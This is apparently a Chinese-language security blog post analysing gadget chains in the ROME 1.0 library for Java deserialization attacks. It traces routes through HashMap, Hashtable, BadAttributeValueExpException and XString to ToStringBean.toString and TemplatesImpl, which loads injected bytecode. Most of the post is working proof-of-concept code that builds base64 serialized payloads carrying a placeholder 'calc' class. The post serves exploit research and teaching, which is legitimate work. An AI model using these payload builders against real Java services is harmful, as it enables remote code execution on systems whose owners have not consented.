java反序列化ROME原生链

环境配置:

jdk 8u66

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId> <--非必要-->
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>

链子寻找

ROME反序列链的本质是组件里的ToStringBean::toString可以调用任意getter方法。

ToStringBean_toString

例如调TemplatesImpl::getOutputProperties()就是代码执行,于是问题转换成如何调任意类的toString方法。

hashmap链

看到EqualsBean类的hashCode方法:

hashCode

EqualsBean

这里hashCode方法调用了beanHashCode方法,这里面又调用了任意类的toString方法。

那现在只需要调任意类的hashCode方法就行了。

之前在URLDNS链中就知道,Hashmap.put可以调任意类的hashCode:

put

hash

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:176, EqualsBean
hash:339, HashMap
put:612, HashMap
main:26, ROMEHashMap

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templatesimpl = (TemplatesImpl) getTemplates(bytes);

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "114514");

String a = serialize(hashMap);
unserialize(a);
}


//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

}

HashTable链

在ObjectBean类的hashCode方法中,调用了EqualsBean类的beanHashCode方法:

beanHashCode1

beanHashCode2

这里可以调用任意类的toString,现在要找还有什么类能调用任意类hashCode,当然这里hashmap.put也可以,但是hashtable.put也可以。

hashtable_put

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templatesimpl = (TemplatesImpl) getTemplates(bytes);

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"Infernity");

String a = serialize(hashtable);
//unserialize(a);
}

BadAttributeValueExpException链

之前Fastjson原生反序列化中提到过BadAttributeValueExpException可以调用任意类toString,这里不再说了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templatesimpl = (TemplatesImpl) getTemplates(bytes);

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
Object obj = BadAttributeValueExpException_to_anytoString(toStringBean);

String a = serialize(obj);
unserialize(a);
}

//BadAttributeValueExpException触发任意类toString
public static Object BadAttributeValueExpException_to_anytoString(Object anyobj_toString) throws Exception {
BadAttributeValueExpException BadAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(BadAttributeValueExpException,"val", anyobj_toString);
return BadAttributeValueExpException;
}

xString链

之前研究fastjson原生反序列化的时候就提到过

HashMap.readObject() -> 任意equals() -> 任意toString()

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;

import static com.Utils.Util.*;

public class test {
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

XString xString = new XString("Infernity");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);

Object obj = HashMap_to_anyequals_to_anytoString(xString, toStringBean);

String ser = serialize(obj);
unserialize(ser);
}

//HashMap.readObject() -> 任意equals() -> 任意toString()
public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}
}

参考文章:

https://www.cnblogs.com/jasper-sec/p/17880622.html


java反序列化ROME原生链
http://example.com/2025/03/01/java反序列化ROME原生链/
作者
Infernity
发布于
2025年3月1日
许可协议